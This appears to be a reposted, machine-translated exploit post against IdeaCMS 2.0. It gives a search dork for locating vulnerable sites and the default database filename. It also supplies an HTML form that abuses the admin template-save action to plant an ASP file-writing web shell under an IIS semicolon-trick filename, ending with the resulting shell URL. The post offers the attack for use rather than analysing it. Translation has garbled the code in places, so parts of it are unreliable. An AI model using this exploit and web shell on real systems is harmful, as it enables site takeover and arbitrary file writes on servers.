System: IdeaCMS2.0
Keyword: inurl: about/indexlist. asp? SortID =
Default Database: dateIdea_Site.mdb
Shell in the background:
The following code saves the HTML modification URL!
HTML code
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<Html xmlns = "http://www.w3.org/1999/xhtml">
<Head>
<Meta http-equiv = "content-type" content = "text/html; charset = gbk"/>
<TITLE> template background management-EXP </TITLE>
</Head>
<Body>
<Div class = "container" id = "cpcontainer">
<Table class = "tb">
<Tr class = "thead"> <th colspan = "2"> modify a template </th> </tr>
<Form action = "http://www.bkjia.com/admin/admin_template.asp? Action = save "method =" post ">
<Tr>
<Td width = "15%"> file path: </td>
<Td> <input name = "name" type = "text" size = "60" value = "about.html"/>
</Tr>
<Tr>
<Td colspan = "2"> <textarea name = "content" style = "width: 100%; font-family: Arial, Helvetica, sans-serif; font-size: 14px; "rows =" 25 "dataType =" Require "msg =" Enter the template content "> <% set fso = server. createobject (ofso) %>
<% Path = request ("path") %>
<% If path <> "" then %>
<% Data = request ("dama") %>
<% Set dama = fso. createtextfile (path, true) %>
<% Dama. write data %>
<% If err = 0 then %>
<% = "Have fun! "%>
<% Else %>
<% = "False" %>
<% End if %>
<% Err. clear %>
<% End if %>
<% Dama. close %>
<% Set dama = nothing %>
<% Set fos = nothing %>
<% = "<Form action = method = post>" %>
<% = "<Input type = text name = path>" %>
<% = "<Br>" %>
<% = Server. mappath (request. servervariables ("script_name") %>
<% = "<Br>" %>
<% = "" %>
<% = "<Textarea name = dama cols = 50 rows = 10 width = 30> </textarea>" %>
<% = "<Br>" %>
<% = "<Input type = submit value = OK ~> "%> </Textarea> </td>
</Tr>
<Tr>
<Td> </td> <input type = "hidden" name = "folder" value = ".. /template/ideacms/html "> <input name =" filedir "type =" hidden "value = ".. /template/ideacms/html/about.asp;.html "> <input type =" submit "name =" Submit "value =" modify template "class =" btn "/> </td>
</Tr>
</Form>
</Table>
</Table>
Shell path after submission:
Http://www.bkjia.com/template/ideacms/html/about.asp;.html
Source: fallen leaf s Blog focuses on network security!